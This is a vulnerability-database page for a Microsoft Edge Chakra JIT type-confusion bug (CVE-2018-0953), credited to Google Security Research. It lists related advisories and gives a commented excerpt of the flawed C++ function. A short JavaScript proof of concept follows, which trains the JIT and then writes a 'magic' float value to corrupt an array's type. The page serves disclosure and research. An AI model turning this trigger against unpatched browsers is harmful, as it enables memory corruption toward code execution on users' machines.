Lucene search
+L

Microsoft Edge Chakra JIT - Magic Value Type Confusion Exploit

🗓️ 23 May 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 124 Views

Microsoft Edge Chakra JIT - Magic Value Type Confusion Exploi

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
ChakraCore Microsoft Edge RCE
29 Jun 201800:00
–bdu_fstec
circl
Circl
CVE-2018-0953
22 May 201800:00
–circl
cnvd
CNVD
Microsoft ChakraCore and Edge Remote Code Execution Vulnerability (CNVD-2018-10210)
9 May 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0953)
8 May 201800:00
–checkpoint_advisories
cve
CVE
CVE-2018-0953
9 May 201819:00
–cve
cvelist
Cvelist
CVE-2018-0953
9 May 201819:00
–cvelist
exploitdb
Exploit DB
Microsoft Edge Chakra JIT - Magic Value Type Confusion
22 May 201800:00
–exploitdb
euvd
EUVD
EUVD-2022-4070
9 May 201819:00
–euvd
euvd
EUVD
EUVD-2022-5586
9 May 201819:00
–euvd
mskb
Microsoft KB
May 8, 2018—KB4103716 (OS Build 10240.17861)
8 May 201807:00
–mskb
Rows per page
/*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
    if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
    {
        JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
        varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
        return TRUE;
    }
 
    this->DirectSetItemAt<double>(index, dValue);
    return TRUE;
}
 
As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/
 
function opt(arr, value) {
    arr[1] = value;
    arr[0] = 2.3023e-320;
}
 
function main() {
    for (let i = 0; i < 0x10000; i++)
        opt([1.1], 2.2);
 
    let arr = [1.1];
    opt(arr, -5.3049894784e-314);  // MAGIC VALUE!
 
    print(arr);
}
 
main();

#  0day.today [2018-05-23]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 May 2018 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.66313
124